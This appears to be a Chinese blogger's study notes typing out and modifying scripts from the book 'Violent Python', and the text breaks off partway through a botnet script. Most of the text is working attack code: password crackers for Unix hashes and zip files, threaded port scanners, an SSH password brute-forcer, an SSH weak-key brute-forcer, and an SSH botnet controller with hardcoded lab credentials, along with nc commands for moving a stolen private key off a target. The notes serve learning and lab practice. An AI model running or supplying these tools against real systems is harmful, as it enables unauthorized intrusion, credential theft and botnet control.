关于《Python绝技:运用Python成为顶级黑客》的学习笔记

这里将会把《Python绝技:运用Python成为顶级黑客》中的代码敲一遍,然后根据具体的情况修改一下代码,时间足够的话就会继续敲代码更新一下,期间肯定会有很多问题需要懂得的大牛指导一下~

为了巩固一下基础,就从头到尾地敲一遍吧~

第一章——入门

1、准备开发环境

安装第三方库:

安装Python-nmap包:

wget http://xael.org/norman/python/python-nmap/pythonnmap-0.2.4.tar.gz-On map.tar.gz

tar -xzf nmap.tar.gz

cd python-nmap-0.2.4/

python setup.py install

当然可以使用easy_install模块实现更简便的安装:easy_install python-nmap


安装其他:easy_install pyPdf python-nmap pygeoip mechanize BeautifulSoup4

其他几个无法用easy_install命令安装的与蓝牙有关的库:apt-get install python-bluez bluetooth python-obexftp


Python解释与Python交互:

简单地说,Python解释是通过调用Python解释器执行py脚本,而Python交互则是通过在命令行输入python实现交互。


2、Python语言

变量

Python中的字符串、整形数、列表、布尔值以及词典。



字符串

四个方法:upper()大写输出、lower()小写输出、replace()替换、find()查找



List(列表)

append()方法向列表添加元素、index()返回元素的索引、remove()删除元素、sort()排序、len()返回列表长度



词典

keys()返回词典中所有键的列表、items()返回词典中所有项的完整信息的列表



网络

使用socket模块,connect()方法建立与指定IP和端口的网络连接;revc(1024)方法将读取套接字中接下来的1024B数据



条件选择语句

if 条件一:
语句一
elif 条件二:
语句二
else:
语句三


异常处理

try/except语句进行异常处理,可以将异常存储到变量e中以便打印出来,同时还要调用str()将e转换成一个字符串




函数

通过def()关键字定义,示例中定义扫描FTP banner信息的函数:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import socket  
  4.   
  5. def retBanner(ip,port):  
  6.     try:  
  7.         socket.setdefaulttimeout(2)  
  8.         s = socket.socket()  
  9.         s.connect((ip,port))  
  10.         banner = s.recv(1024)  
  11.         return banner  
  12.     except:  
  13.         return  
  14.   
  15. def checkVulns(banner):  
  16.     if 'vsFTPd' in banner:  
  17.         print '[+] vsFTPd is vulnerable.'  
  18.     elif 'FreeFloat Ftp Server' in banner:  
  19.         print '[+] FreeFloat Ftp Server is vulnerable.'  
  20.     else:  
  21.         print '[-] FTP Server is not vulnerable.'  
  22.     return  
  23.   
  24. def main():  
  25.     ips = ['10.10.10.128','10.10.10.160']  
  26.     port = 21  
  27.     banner1 = retBanner(ips[0],port)  
  28.     if banner1:  
  29.         print '[+] ' + ips[0] + ": " + banner1.strip('\n')  
  30.         checkVulns(banner1)  
  31.     banner2 = retBanner(ips[1],port)  
  32.     if banner2:  
  33.         print '[+] ' + ips[1] + ": " + banner2.strip('\n')  
  34.         checkVulns(banner2)  
  35.   
  36. if __name__ == '__main__':  
  37.     main()  



迭代

for语句

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import socket  
  4.   
  5. def retBanner(ip,port):  
  6.     try:  
  7.         socket.setdefaulttimeout(2)  
  8.         s = socket.socket()  
  9.         s.connect((ip,port))  
  10.         banner = s.recv(1024)  
  11.         return banner  
  12.     except:  
  13.         return  
  14.   
  15. def checkVulns(banner):  
  16.     if 'vsFTPd' in banner:  
  17.         print '[+] vsFTPd is vulnerable.'  
  18.     elif 'FreeFloat Ftp Server' in banner:  
  19.         print '[+] FreeFloat Ftp Server is vulnerable.'  
  20.     else:  
  21.         print '[-] FTP Server is not vulnerable.'  
  22.     return  
  23.   
  24. def main():  
  25.     portList = [21,22,25,80,110,443]  
  26.     ip = '10.10.10.128'  
  27.     for port in portList:  
  28.         banner = retBanner(ip,port)  
  29.         if banner:  
  30.             print '[+] ' + ip + ':' + str(port) + '--' + banner  
  31.             if port == 21:  
  32.                 checkVulns(banner)  
  33.   
  34. if __name__ == '__main__':  
  35.     main()  



文件输入/输出

open()打开文件,r只读,r+读写,w新建(会覆盖原有文件),a追加,b二进制文件

同一目录中:


不同目录中:

从当前目录开始往下查找,前面加上.号


或者是绝对路径则不用加.号表示从当前目录开始



sys模块

sys.argv列表中含有所有的命令行参数,sys.argv[0]为Python脚本的名称,其余的都是命令行参数


OS模块

os.path.isfile()检查该文件是否存在

os.access()判断当前用户是否有权限读取该文件

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import sys  
  4. import os  
  5. if len(sys.argv) == 2:  
  6.     filename = sys.argv[1]  
  7.     if not os.path.isfile(filename):  
  8.         print '[-] ' + filename + ' does not exit.'  
  9.         exit(0)  
  10.     if not os.access(filename,os.R_OK):  
  11.         print '[-] ' + filename + ' access denied.'  
  12.         exit(0)  
  13.     print '[+] Reading From: ' + filename  



整合

将上述各个模块整合起来,实现对目标主机的端口及其banner信息的扫描:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import socket  
  4. import sys  
  5. import os  
  6.   
  7. def retBanner(ip,port):  
  8.     try:  
  9.         socket.setdefaulttimeout(2)  
  10.         s = socket.socket()  
  11.         s.connect((ip,port))  
  12.         banner = s.recv(1024)  
  13.         return banner  
  14.     except:  
  15.         return  
  16.   
  17. def checkVulns(banner,filename):  
  18.     f = open(filename, 'r')  
  19.     for line in f.readlines():  
  20.         if line.strip('\n'in banner:  
  21.             print '[+] Server is vulnerable: ' + banner.strip('\n')  
  22.   
  23. def main():  
  24.   
  25.     if len(sys.argv) == 2:  
  26.   
  27.         filename = sys.argv[1]  
  28.         if not os.path.isfile(filename):  
  29.             print '[-] ' + filename + ' does not exit.'  
  30.             exit(0)  
  31.   
  32.         if not os.access(filename,os.R_OK):  
  33.             print '[-] ' + filename + ' access denied.'  
  34.             exit(0)  
  35.   
  36.         print '[+] Reading From: ' + filename  
  37.     else:  
  38.         print '[-] Usage: ' + str(sys.argv[0]) + '  
  39.         exit(0)  
  40.   
  41.     portList = [21,22,25,80,110,443]  
  42.     ip = '10.10.10.128'  
  43.     for port in portList:  
  44.         banner = retBanner(ip,port)  
  45.         if banner:  
  46.             print '[+] ' + ip + ':' + str(port) + '--' + banner  
  47.             if port == 21:  
  48.                 checkVulns(banner,filename)  
  49.   
  50. if __name__ == '__main__':  
  51.     main()  

运行结果:



3、第一个Python程序

第一个程序:Unix口令破解机

这段代码通过分别读取两个文件,一个为加密口令文件,另一个为用于猜测的字典文件。在testPass()函数中读取字典文件,并通过crypt.crypt()进行加密,其中需要一个明文密码以及两个字节的盐,然后再用加密后的信息和加密口令进行比较查看是否相等即可。

先看crypt的示例:


可以看到盐是添加在密文的前两位的,所以将加密口令的前两位提取出来为salt即可。

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import crypt  
  4.   
  5. def testPass(cryptPass):  
  6.     salt = cryptPass[0:2]  
  7.   
  8.     dictFile = open('dictionary.txt','r')  
  9.   
  10.     for word in dictFile.readlines():  
  11.         word = word.strip('\n')  
  12.         cryptWord = crypt.crypt(word,salt)  
  13.         if cryptWord == cryptPass:  
  14.             print '[+] Found Password: ' + word + "\n"  
  15.             return  
  16.     print '[-] Password not Found.\n'  
  17.     return  
  18.   
  19. def main():  
  20.     passFile = open('passwords.txt')  
  21.     for line in passFile.readlines():  
  22.         if ":" in line:  
  23.             user = line.split(':')[0]  
  24.             cryptPass = line.split(':')[1].strip(' ')  
  25.             print '[*] Cracking Password For : ' + user  
  26.             testPass(cryptPass)  
  27.   
  28. if __name__ == '__main__':  
  29.     main()  

运行结果:


在现代的类Unix系统中在/etc/shadow文件中存储了口令的hash,但是更多的是使用SHA-512等更安全的hash算法,如:


在Python中的hashlib库可以找到SHA-512的函数,这样就可以进一步升级脚本进行口令破解。


第二个程序:一个Zip文件口令破解机

主要使用zipfile库的extractall()方法,其中pwd参数指定密码

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import zipfile  
  4. import optparse  
  5. from threading import Thread  
  6.   
  7. def extractFile(zFile,password):  
  8.     try:  
  9.         zFile.extractall(pwd=password)  
  10.         print '[+] Fonud Password : ' + password + '\n'  
  11.     except:  
  12.         pass  
  13.   
  14. def main():  
  15.   
  16.     parser = optparse.OptionParser("[*] Usage: ./unzip.py -f  -d ")  
  17.     parser.add_option('-f',dest='zname',type='string',help='specify zip file')  
  18.     parser.add_option('-d',dest='dname',type='string',help='specify dictionary file')  
  19.     (options,args) = parser.parse_args()  
  20.     if (options.zname == None) | (options.dname == None):  
  21.         print parser.usage  
  22.         exit(0)  
  23.   
  24.     zFile = zipfile.ZipFile(options.zname)  
  25.     passFile = open(options.dname)  
  26.     for line in passFile.readlines():  
  27.         line = line.strip('\n')  
  28.         t = Thread(target=extractFile,args=(zFile,line))  
  29.         t.start()  
  30.   
  31. if __name__ == '__main__':  
  32.     main()  

代码中导入了optparse库解析命令行参数,调用OptionParser()生成一个参数解析器类的示例,parser.add_option()指定具体解析哪些命令行参数,usage输出的是参数的帮助信息;同时也采用了多线程的方式提高破解速率。

运行结果:



第二章——用Python进行渗透测试

1、编写一个端口扫描器

TCP全连接扫描、抓取应用的Banner

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. import socket  
  5. from socket import *  
  6.   
  7. def connScan(tgtHost,tgtPort):  
  8.     try:  
  9.         connSkt = socket(AF_INET,SOCK_STREAM)  
  10.         connSkt.connect((tgtHost,tgtPort))  
  11.         connSkt.send('ViolentPython\r\n')  
  12.         result = connSkt.recv(100)  
  13.         print '[+] %d/tcp open'%tgtPort  
  14.         print '[+] ' + str(result)  
  15.         connSkt.close()  
  16.     except:  
  17.         print '[-] %d/tcp closed'%tgtPort  
  18.   
  19. def portScan(tgtHost,tgtPorts):  
  20.     try:  
  21.         tgtIP = gethostbyname(tgtHost)  
  22.     except:  
  23.         print "[-] Cannot resolve '%s' : Unknown host"%tgtHost  
  24.         return  
  25.   
  26.     try:  
  27.         tgtName = gethostbyaddr(tgtIP)  
  28.         print '\n[+] Scan Results for: ' + tgtName[0]  
  29.     except:  
  30.         print '\n[+] Scan Results for: ' + tgtIP  
  31.   
  32.     setdefaulttimeout(1)  
  33.   
  34.     for tgtPort in tgtPorts:  
  35.         print 'Scanning port' + tgtPort  
  36.         connScan(tgtHost,int(tgtPort))  
  37.   
  38. def main():  
  39.     parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H  -p ")  
  40.     parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')  
  41.     parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')  
  42.     (options,args) = parser.parse_args()  
  43.     tgtHost = options.tgtHost  
  44.     tgtPorts = str(options.tgtPort).split(',')  
  45.     if (tgtHost == None) | (tgtPorts[0] == None):  
  46.         print parser.usage  
  47.         exit(0)  
  48.     portScan(tgtHost,tgtPorts)  
  49.   
  50. if __name__ == '__main__':  
  51.     main()  

这段代码实现了命令行参数输入,需要用户输入主机IP和扫描的端口号,其中多个端口号之间可以用,号分割开;若参数输入不为空时(注意检测端口参数列表不为空即检测至少存在第一个值不为空即可)则调用函数进行端口扫描;在portScan()函数中先尝试调用gethostbyname()来从主机名获取IP,若获取不了则解析IP失败程序结束,若成功则继续尝试调用gethostbyaddr()从IP获取主机名相关信息,若获取成功则输出列表的第一项主机名否则直接输出IP,接着遍历端口调用connScan()函数进行端口扫描;在connScan()函数中,socket方法中有两个参数AF_INET和SOCK_STREAM,分别表示使用IPv4地址和TCP流,这两个参数是默认的,在上一章的代码中没有添加但是默认是这两个参数,其余的代码和之前的差不多了。

注意一个小问题就是,设置命令行参数的时候,是已经默认添加了-h和--help参数来提示参数信息的,如果在host参数使用-h的话就会出现错误,因而要改为用大写的H即书上的“-H”即可。

运行结果:



线程扫描

将上一小节的代码修改一下,添加线程实现,同时为了让一个函数获得完整的屏幕控制权,这里使用一个信号量semaphore,它能够阻止其他线程运行而避免出现多线程同时输出造成的乱码和失序等情况。在打印输出前带调用screenLock.acquire()函数执行一个加锁操作,若信号量还没被锁定则线程有权继续运行并输出打印到屏幕上,若信号量被锁定则只能等待直到信号量被释放。

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. import socket  
  5. from socket import *  
  6. from threading import *  
  7.   
  8. #定义一个信号量  
  9. screenLock = Semaphore(value=1)  
  10.   
  11. def connScan(tgtHost,tgtPort):  
  12.     try:  
  13.         connSkt = socket(AF_INET,SOCK_STREAM)  
  14.         connSkt.connect((tgtHost,tgtPort))  
  15.         connSkt.send('ViolentPython\r\n')  
  16.         result = connSkt.recv(100)  
  17.   
  18.         #执行一个加锁操作  
  19.         screenLock.acquire()  
  20.   
  21.         print '[+] %d/tcp open'%tgtPort  
  22.         print '[+] ' + str(result)  
  23.     except:  
  24.         #执行一个加锁操作  
  25.         screenLock.acquire()  
  26.         print '[-] %d/tcp closed'%tgtPort  
  27.     finally:  
  28.         #执行释放锁的操作,同时将socket的连接在其后关闭  
  29.         screenLock.release()  
  30.         connSkt.close()  
  31.   
  32. def portScan(tgtHost,tgtPorts):  
  33.     try:  
  34.         tgtIP = gethostbyname(tgtHost)  
  35.     except:  
  36.         print "[-] Cannot resolve '%s' : Unknown host"%tgtHost  
  37.         return  
  38.   
  39.     try:  
  40.         tgtName = gethostbyaddr(tgtIP)  
  41.         print '\n[+] Scan Results for: ' + tgtName[0]  
  42.     except:  
  43.         print '\n[+] Scan Results for: ' + tgtIP  
  44.   
  45.     setdefaulttimeout(1)  
  46.   
  47.     for tgtPort in tgtPorts:  
  48.         t = Thread(target=connScan,args=(tgtHost,int(tgtPort)))  
  49.         t.start()  
  50.   
  51. def main():  
  52.     parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H  -p ")  
  53.     parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')  
  54.     parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')  
  55.     (options,args) = parser.parse_args()  
  56.     tgtHost = options.tgtHost  
  57.     tgtPorts = str(options.tgtPort).split(',')  
  58.     if (tgtHost == None) | (tgtPorts[0] == None):  
  59.         print parser.usage  
  60.         exit(0)  
  61.     portScan(tgtHost,tgtPorts)  
  62.   
  63. if __name__ == '__main__':  
  64.     main()  

运行结果:


从结果可以看到,使用多线程之后端口的扫描并不是按输入的顺序进行的了,而是同时进行,但是因为有信号量实现加锁等操作所以输出的结果并没有出现乱码等情况。


使用nmap端口扫描代码

如果在前面没有下载该模块,则需要先到http://xael.org/pages/python-nmap-en.html中下载Python-Nmap

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import nmap  
  4. import optparse  
  5.   
  6. def nmapScan(tgtHost,tgtPort):  
  7.     #创建一个PortScanner()类对象  
  8.     nmScan = nmap.PortScanner()  
  9.   
  10.     #调用PortScanner类的scan()函数,将目标和端口作为参数输入并进行nmap扫描  
  11.     nmScan.scan(tgtHost,tgtPort)  
  12.   
  13.     #输出扫描结果中的状态信息  
  14.     state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']  
  15.     print '[*] ' + tgtHost + " tcp/" + tgtPort + " " + state  
  16.   
  17. def main():  
  18.     parser=optparse.OptionParser("[*] Usage : ./nmapScan.py -H  -p ")  
  19.     parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')  
  20.     parser.add_option('-p',dest='tgtPorts',type='string',help='specify target port[s]')   
  21.     (options,args)=parser.parse_args()  
  22.     tgtHost = options.tgtHost  
  23.     tgtPorts = str(options.tgtPorts).split(',')  
  24.     if (tgtHost == None) | (tgtPorts[0] == None):  
  25.         print parser.usage  
  26.         exit(0)  
  27.     for tgtPort in tgtPorts:  
  28.         nmapScan(tgtHost,tgtPort)  
  29.   
  30. if __name__ == '__main__':    
  31.     main()  

运行结果:



2、用Python构建一个SSH僵尸网络

用Pexpect与SSH交互

若在前面第一章的时候没有下载,则需要先下载Pexpect:https://pypi.python.org/pypi/pexpect/

Pexpect模块可以实现与程序交互、等待预期的屏幕输出并据此作出不同的响应。

先进行正常的ssh连接测试:


模仿这个流程,代码如下:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import pexpect  
  4.   
  5. #SSH连接成功时的命令行交互窗口中前面的提示字符的集合  
  6. PROMPT = ['# ','>>> ','> ','\$ ']  
  7.   
  8. def send_command(child,cmd):  
  9.     #发送一条命令  
  10.     child.sendline(cmd)  
  11.   
  12.     #期望有命令行提示字符出现  
  13.     child.expect(PROMPT)  
  14.   
  15.     #将之前的内容都输出  
  16.     print child.before  
  17.   
  18. def connect(user,host,password):  
  19.     #表示主机已使用一个新的公钥的消息  
  20.     ssh_newkey = 'Are you sure you want to continue connecting'  
  21.     connStr = 'ssh ' + user + '@' + host  
  22.   
  23.     #为ssh命令生成一个spawn类的对象  
  24.     child = pexpect.spawn(connStr)  
  25.   
  26.     #期望有ssh_newkey字符、提示输入密码的字符出现,否则超时  
  27.     ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])  
  28.   
  29.     #匹配到超时TIMEOUT  
  30.     if ret == 0:  
  31.         print '[-] Error Connecting'  
  32.         return  
  33.   
  34.     #匹配到ssh_newkey  
  35.     if ret == 1:  
  36.         #发送yes回应ssh_newkey并期望提示输入密码的字符出现  
  37.         child.sendline('yes')  
  38.         ret = child.expect([pexpect.TIMEOUT,'[P|p]assword: '])  
  39.   
  40.     #匹配到超时TIMEOUT  
  41.     if ret == 0:  
  42.         print '[-] Error Connecting'  
  43.         return  
  44.   
  45.     #发送密码  
  46.     child.sendline(password)  
  47.     child.expect(PROMPT)      
  48.     return child  
  49.   
  50. def main():  
  51.     host='10.10.10.128'  
  52.     user='msfadmin'  
  53.     password='msfadmin'  
  54.     child=connect(user,host,password)  
  55.     send_command(child,'uname -a')  
  56.   
  57. if __name__ == '__main__':  
  58.     main()  

这段代码没有进行命令行参数的输入以及没有实现命令行交互。

运行结果:


书上提到了BackTrack中的运行,也来测试一下吧:

在BT5中生成ssh-key并启动SSH服务:

sshd-generate

service ssh start

./sshScan.py



【个人修改的代码】

这段代码可以进一步改进一下,下面的是个人改进的代码,实现了参数化输入以及命令行shell交互的形式:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import pexpect  
  4. from optparse import OptionParser  
  5.   
  6. #SSH连接成功时的命令行交互窗口中的提示符的集合  
  7. PROMPT = ['# ','>>> ','> ','\$ ']  
  8.   
  9. def send_command(child,cmd):  
  10.     #发送一条命令  
  11.     child.sendline(cmd)  
  12.   
  13.     #期望有命令行提示字符出现  
  14.     child.expect(PROMPT)  
  15.   
  16.     #将之前的内容都输出  
  17.     print child.before.split('\n')[1]  
  18.   
  19. def connect(user,host,password):  
  20.     #表示主机已使用一个新的公钥的消息  
  21.     ssh_newkey = 'Are you sure you want to continue connecting'  
  22.     connStr = 'ssh ' + user + '@' + host  
  23.   
  24.     #为ssh命令生成一个spawn类的对象  
  25.     child = pexpect.spawn(connStr)  
  26.   
  27.     #期望有ssh_newkey字符、提示输入密码的字符出现,否则超时  
  28.     ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])  
  29.   
  30.     #匹配到超时TIMEOUT  
  31.     if ret == 0:  
  32.         print '[-] Error Connecting'  
  33.         return  
  34.   
  35.     #匹配到ssh_newkey  
  36.     if ret == 1:  
  37.         #发送yes回应ssh_newkey并期望提示输入密码的字符出现  
  38.         child.sendline('yes')  
  39.         ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])  
  40.   
  41.     #匹配到超时TIMEOUT  
  42.     if ret == 0:  
  43.         print '[-] Error Connecting'  
  44.         return  
  45.   
  46.     #发送密码  
  47.     child.sendline(password)  
  48.     child.expect(PROMPT)      
  49.     return child  
  50.   
  51. def main():  
  52.     parser = OptionParser("[*] Usage : ./sshCommand2.py -H  -u  -p ")  
  53.     parser.add_option('-H',dest='host',type='string',help='specify target host')  
  54.     parser.add_option('-u',dest='username',type='string',help='target username')  
  55.     parser.add_option('-p',dest='password',type='string',help='target password')  
  56.     (options,args) = parser.parse_args()  
  57.   
  58.     if (options.host == None) | (options.username == None) | (options.password == None):  
  59.         print parser.usage  
  60.         exit(0)  
  61.   
  62.     child=connect(options.username,options.host,options.password)  
  63.       
  64.     while True:  
  65.         command = raw_input(' ')  
  66.         send_command(child,command)  
  67.   
  68. if __name__ == '__main__':  
  69.     main()  

这样就可以指定目标主机进行SSH连接并实现了SSH一样的命令行交互体验了:



用Pxssh暴力破解SSH密码

pxssh 是 pexpect 中 spawn 类的子类,增加了login()、logout()和prompt()几个方法,使用其可以轻松实现 ssh 连接,而不用自己调用相对复杂的 pexpect 的方法来实现。

prompt(self,timeout=20)方法用于匹配新提示符

使用pxssh替代上一小节的脚本:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from pexpect import pxssh  
  4.   
  5. def send_command(s,cmd):  
  6.   
  7.     s.sendline(cmd)  
  8.     #匹配prompt(提示符)  
  9.     s.prompt()  
  10.     #将prompt前所有内容打印出  
  11.     print s.before  
  12.   
  13. def connect(host,user,password):  
  14.     try:  
  15.         s = pxssh.pxssh()  
  16.         #利用pxssh类的login()方法进行ssh登录  
  17.         s.login(host,user,password)  
  18.         return s  
  19.     except:  
  20.         print '[-] Error Connecting'  
  21.         exit(0)  
  22.   
  23. s = connect('10.10.10.128','msfadmin','msfadmin')  
  24. send_command(s,'uname -a')  

一开始遇到一个问题,就是直接按书上的敲import pxssh会显示出错,但是明明已经安装了这个文件,查看资料发现是pxssh是在pexpect包中的,所以将其改为from pexpect import pxssh就可以了。

运行结果:


接着继续修改代码:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from pexpect import pxssh  
  4. import optparse  
  5. import time  
  6. from threading import *  
  7.   
  8. maxConnections = 5  
  9. #定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限  
  10. connection_lock = BoundedSemaphore(value=maxConnections)  
  11. Found = False  
  12. Fails = 0  
  13.   
  14. def connect(host,user,password,release):  
  15.   
  16.     global Found  
  17.     global Fails  
  18.   
  19.     try:  
  20.         s = pxssh.pxssh()  
  21.         #利用pxssh类的login()方法进行ssh登录  
  22.         s.login(host,user,password)  
  23.         print '[+] Password Found: ' + password  
  24.         Found = True  
  25.     except Exception, e:  
  26.         #SSH服务器可能被大量的连接刷爆,等待一会再连接  
  27.         if 'read_nonblocking' in str(e):  
  28.             Fails += 1  
  29.             time.sleep(5)  
  30.             #递归调用的connect(),不可释放锁  
  31.             connect(host,user,password,False)  
  32.         #显示pxssh命令提示符提取困难,等待一会再连接  
  33.         elif 'synchronize with original prompt' in str(e):  
  34.             time.sleep(1)  
  35.             #递归调用的connect(),不可释放锁  
  36.             connect(host,user,password,False)  
  37.     finally:  
  38.         if release:  
  39.             #释放锁  
  40.             connection_lock.release()  
  41.   
  42. def main():  
  43.     parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H  -u  -f ')  
  44.     parser.add_option('-H',dest='host',type='string',help='specify target host')  
  45.     parser.add_option('-u',dest='username',type='string',help='target username')  
  46.     parser.add_option('-f',dest='file',type='string',help='specify password file')  
  47.     (options,args) = parser.parse_args()  
  48.   
  49.     if (options.host == None) | (options.username == None) | (options.file == None):  
  50.         print parser.usage  
  51.         exit(0)  
  52.   
  53.     host = options.host  
  54.     username = options.username  
  55.     file = options.file  
  56.   
  57.     fn = open(file,'r')  
  58.     for line in fn.readlines():  
  59.   
  60.         if Found:  
  61.             print '[*] Exiting: Password Found'  
  62.             exit(0)  
  63.   
  64.         if Fails > 5:  
  65.             print '[!] Exiting: Too Many Socket Timeouts'  
  66.             exit(0)  
  67.   
  68.         #加锁  
  69.         connection_lock.acquire()  
  70.   
  71.         #去掉换行符,其中Windows为'\r\n',Linux为'\n'  
  72.         password = line.strip('\r').strip('\n')  
  73.         print '[-] Testing: ' + str(password)  
  74.   
  75.         #这里不是递归调用的connect(),可以释放锁  
  76.         t = Thread(target=connect,args=(host,username,password,True))  
  77.         child = t.start()  
  78.   
  79. if __name__ =='__main__':  
  80.     main()  

Semaphore,是一种带计数的线程同步机制,当调用release时,增加计算,当acquire时,减少计数,当计数为0时,自动阻塞,等待release被调用。其存在两种Semaphore, 即Semaphore和BoundedSemaphore,都属于threading库。

Semaphore:  在调用release()函数时,不会检查增加的计数是否超过上限(没有上限,会一直上升)

BoundedSemaphore:在调用release()函数时,会检查增加的计数是否超过上限,从而保证了使用的计数

运行结果:



利用SSH中的弱密钥

使用密钥登录ssh时,格式为:ssh user@host -i keyfile -o PasswordAuthentication=no

本来是要到这个网站中去下载ssh的私钥压缩包的:http://digitaloffense.net/tools/debianopenssl/

但是由于时间有点久已经没有该站点可以下载了。

为了进行测试就到靶机上将该ssh的rsa文件通过nc传过来:

Kali先开启nc监听:nc -lp 4444 > id_rsa

然后靶机Metasploitable进入ssh的dsa目录,将id_rsa文件而不是id_rsa.:

cd .ssh

nc -nv 10.10.10.160 4444 -q 1 < id_rsa

下面这段脚本主要是逐个使用指定目录中生成的密钥来尝试进行连接。

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import pexpect  
  4. import optparse  
  5. import os  
  6. from threading import *  
  7.   
  8. maxConnections = 5  
  9. #定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限  
  10. connection_lock = BoundedSemaphore(value=maxConnections)  
  11. Stop = False  
  12. Fails = 0  
  13.   
  14. def connect(host,user,keyfile,release):  
  15.   
  16.     global Stop  
  17.     global Fails  
  18.   
  19.     try:  
  20.         perm_denied = 'Permission denied'  
  21.         ssh_newkey = 'Are you sure you want to continue'  
  22.         conn_closed = 'Connection closed by remote host'  
  23.         opt = ' -o PasswordAuthentication=no'  
  24.         connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt  
  25.         child = pexpect.spawn(connStr)  
  26.         ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#', ])  
  27.         #匹配到ssh_newkey  
  28.         if ret == 2:  
  29.             print '[-] Adding Host to ~/.ssh/known_hosts'  
  30.             child.sendline('yes')  
  31.             connect(user, host, keyfile, False)  
  32.         #匹配到conn_closed  
  33.         elif ret == 3:  
  34.             print '[-] Connection Closed By Remote Host'  
  35.             Fails += 1  
  36.         #匹配到提示符'$','#',  
  37.         elif ret > 3:  
  38.             print '[+] Success. ' + str(keyfile)  
  39.             Stop = True  
  40.     finally:  
  41.         if release:  
  42.             #释放锁  
  43.             connection_lock.release()  
  44.   
  45. def main():  
  46.     parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H  -u  -d ')  
  47.     parser.add_option('-H',dest='host',type='string',help='specify target host')  
  48.     parser.add_option('-u',dest='username',type='string',help='target username')  
  49.     parser.add_option('-d',dest='passDir',type='string',help='specify directory with keys')  
  50.     (options,args) = parser.parse_args()  
  51.   
  52.     if (options.host == None) | (options.username == None) | (options.passDir == None):  
  53.         print parser.usage  
  54.         exit(0)  
  55.   
  56.     host = options.host  
  57.     username = options.username  
  58.     passDir = options.passDir  
  59.   
  60.     #os.listdir()返回指定目录下的所有文件和目录名  
  61.     for filename in os.listdir(passDir):  
  62.         if Stop:  
  63.             print '[*] Exiting: Key Found.'  
  64.             exit(0)  
  65.         if Fails > 5:  
  66.             print '[!] Exiting: Too Many Connections Closed By Remote Host.'  
  67.             print '[!] Adjust number of simultaneous threads.'  
  68.             exit(0)  
  69.         #加锁  
  70.         connection_lock.acquire()  
  71.   
  72.         #连接目录与文件名或目录  
  73.         fullpath = os.path.join(passDir,filename)  
  74.         print '[-] Testing keyfile ' + str(fullpath)  
  75.         t = Thread(target=connect,args=(username,host,fullpath,True))  
  76.         child = t.start()  
  77.   
  78. if __name__ =='__main__':  
  79.     main()  

运行结果:



构建SSH僵尸网络

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. from pexpect import pxssh  
  5.   
  6. #定义一个客户端的类  
  7. class Client(object):  
  8.     """docstring for Client"""  
  9.     def __init__(self, host, user, password):  
  10.         self.host = host  
  11.         self.user = user  
  12.         self.password = password  
  13.         self.session = self.connect()  
  14.   
  15.     def connect(self):  
  16.         try:  
  17.             s = pxssh.pxssh()  
  18.             s.login(self.host,self.user,self.password)  
  19.             return s  
  20.         except Exception, e:  
  21.             print e  
  22.             print '[-] Error Connecting'  
  23.           
  24.     def send_command(self, cmd):  
  25.         self.session.sendline(cmd)  
  26.         self.session.prompt()  
  27.         return self.session.before  
  28.   
  29. def botnetCommand(command):  
  30.     for client in botNet:  
  31.         output = client.send_command(command)  
  32.         print '[*] Output from ' + client.host  
  33.         print '[+] ' + output + '\n'  
  34.   
  35. def addClient(host, user, password):  
  36.     client = Client(host,user,password)  
  37.     botNet.append(client)  
  38.   
  39. botNet = []  
  40. addClient('10.10.10.128','msfadmin','msfadmin')  
  41. addClient('10.10.10.153','root','toor')  
  42. botnetCommand('uname -a')  
  43. botnetCommand('whoami')  

这段代码主要定义一个客户端的类实现ssh连接和发送命令,然后再定义一个botNet数组用于保存僵尸网络中的所有主机,并定义两个方法一个是添加僵尸主机的addClient()、 另一个为在僵尸主机中遍历执行命令的botnetCommand()。

运行结果:



【个人修改的代码】

接下来是本人修改的代码,先是将僵尸主机的信息都保存在一个文件中、以:号将三类信息分割开,从而脚本可以方便地通过读取文件中的僵尸主机信息,同时脚本也实现了批量命令行交互的形式,和之前修改的ssh命令行交互的形式差不多,只是每次输入一条命令所有的僵尸主机都会去执行从而返回命令结果:

botnet.txt文件:


botNet2.py:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. from pexpect import pxssh  
  5. import optparse  
  6.   
  7. botNet=[]  
  8. #定义一个用于存放host的列表以便判断当前host之前是否已经添加进botNet中了  
